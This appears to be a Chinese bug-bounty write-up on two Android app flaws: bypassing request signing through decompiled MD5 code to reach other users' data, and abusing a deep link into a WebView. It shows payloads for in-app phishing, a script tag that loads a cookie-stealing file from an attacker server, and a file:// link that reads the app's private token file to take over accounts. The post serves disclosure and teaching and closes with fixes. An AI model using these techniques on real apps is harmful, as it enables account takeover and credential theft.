前言
好久没有更新文章了,失踪人口回归(偷看),在失踪期间也学了些新东西,最近活跃在补天src,有些小成果想和大家分享一下。下面是来自移动安全偶尔学习时长一年的个人练习生***给大家分享两个移动逆向漏洞。
测试环境
android 8.1 已root
jadx-gui 反编译
blackdex 脱壳工具
案例 1 - 逆向解密sign签名修改数据越权
现在的app在使用http或者https进行数据交互的时候,为了防止数据被攻击者纂改都会添加一个sign签名值,只要sign签名校验不通过便不会返回正确响应请求。一般我们可以通过逆向反编译查看源码分析sign的组成,编写修改之后的sign加密脚本就能绕过sign签名限制,这样子以来测试久方便多了。下面来看案例:
确定身份鉴别字段
在一次测试一款app中访问个人评论接口时,发现post请求的body中携带了uid字段,再加上请求体中也没有Cookie、token等字样,从这就能判断出uid字段是后台用来识别用户身份的,这样子一来我们就可以通过修改uid来越权查看他人的评论(这不是一个简简单单的越权到手了么)。
当前用户正常访问时返回了正确的评论
修改uid后没有返回数据,说明是sign签名在搞鬼,目前已经确定了uid是鉴别用户身份的字段,接下来就是解密sign了
反编译分析源码
使用jadx对脱壳的app进行反编译,搜索sign关键字
点击第一个跟进去发现调用了一个函数,参数是hashmap,再结合当前函数不难看出就是对body的内容进行加密操作的
查看 m12919a 函数内具体操作,m12919a 调用了 m12918a 函数,大概操作就是取body内容加上固定字符串 f10147ad小写之后进行md5加密
public static String m12919a(Map<String, Object> map) {
String str;
if (map == null || map.size() <= 0) {
str = f10147a;
} else {
StringBuffer stringBuffer = new StringBuffer();
List<Map.Entry<String, Object>> b = m12920b(map);
for (int i = 0; i < b.size(); i++) {
stringBuffer.append(b.get(i).toString());
}
stringBuffer.append(f10147a);
str = stringBuffer.toString().toLowerCase();
}
return m12918a(str);
}
编写加密脚本
加密脚本如下:
导入相应的函数和类库,构造 hashmap 参数,使用 m12919a 函数进行签名
运行之后得到的sign签名值和请求的签名值一毛一样,接下来就可以通过修改uid值来越权查看他人评论以及进行其他操作了(涉及敏感操作就不贴图了)
这个只是一个入门级的签名逆向,做个小分享,其他较难的sign签名校验绕过的思路都是一样的。
案例 2 - Deep Link + WebView 配置错误
Deep Link 简单理解为一个启动app页面的链接
WebView 简单理解为一个内置浏览器
获取token接管账号
deep link + webview可以执行 android 内的特权函数,但笔者测试后没发现影响较大的函数故就不做演示。
修改deep link
在测试某app发现一个deep link,具体内容为打开app内的某个页面
xxxx://open/openWebview?url=https://m.xxxx.com/detail
当我们把url改为 http://www.baidu.com的时候,我们点击这个deep link就会在该app内打开baidu的网站
这样就可以拿来钓鱼了,编写一个模拟该app的登录页面诱惑用户点击,因为钓鱼页面是在app内打开的,用户只会认为这个是该app的正常操作不会想到钓鱼。
获取Cookie
但是如果你只用来钓鱼就太肤浅了,在抓取 deep link 跳转包时发现鉴别用户身份的token字段竟然被放在Cookie里面,并且没有设置跨域策略,身份凭据会携带到重定向的站点上,那么我们就可以通过xss来获取用户的token进而接管他的账号了。
poc.html,获取cookie的服务器
<script src="http://1.x.x.x:488/myjs/cookie.js"></script>
deeplink.html
xxxx://open/openWebview?url=https://ip/poc.html
当 用户a 点击该deeplink.html链接时,就会触发我们poc中的获取cookie操作,得到cookie后我们模拟登录操作替换返回包中的token字段就能登入 受害者a 的账号。
替换token
这里通过替换返回包的token就能接管账号的原因是因为app的token数据是本地存储的,而存储的token是登录的时候服务器返回的token,也就是我们在服务器和本地app中充当了中间人的角色,我们替换token本地app并不知道,而是还会以为这个token就是服务器返回的就会老老实实的存储,在后续的账号操作中都会使用这个token。
这里我们是 账号b 正常登录,图中返回的数据也是账号b的但不过我们已经替换为 账号a 的token字段,放包就会登入 账号a ,进行任意操作。因为是真实案例,为避免一些隐私泄露打码会比较多。
跨域漏洞
通过笔者的深度挖掘,发现这个deep link的利用不止这一个,该app的用户鉴别身份的token字段被放在了用户私有app目录下的一个xml文件里面。
而deep link能使用file文件协议进行读取,详情请看 :https://www.cnvd.org.cn/flaw/show/CNVD-2017-36682
<a href="xxxx://open/openWebview?url=file:///data/data/xxxxx/xxxx.xml">xxxx</a>
这样一来恶意应用就可以随意读取该app下的用户身份文件,也能像上一步操作一样通过替换token接管账号。
具体app的demo和样例笔者就不做演示,感兴趣的小伙伴可以自行查阅资料。
总结
漏洞的危害类似于近几年的应用克隆漏洞,危害较大。漏洞成因都是因为deep link没有对url内容进行限制,修复方式也很简单,添加url白名单,限制请求协议就可以避免漏洞产生,再一个app内访问外链时不应该携带Cookie。以上就是移动安全练习时长一年的个人练习生***给大家的案例分享,因为涉及隐私,步骤简略了些,但大概内容应该能看懂。
学习是一件持之以恒的事情,分享也是,当你的学习有了成果,便无愧于自己。学习是自己的事情,学到什么都是自己,不能因为别人的眼光去被迫学习,脑子不动就会生锈,继续加油了。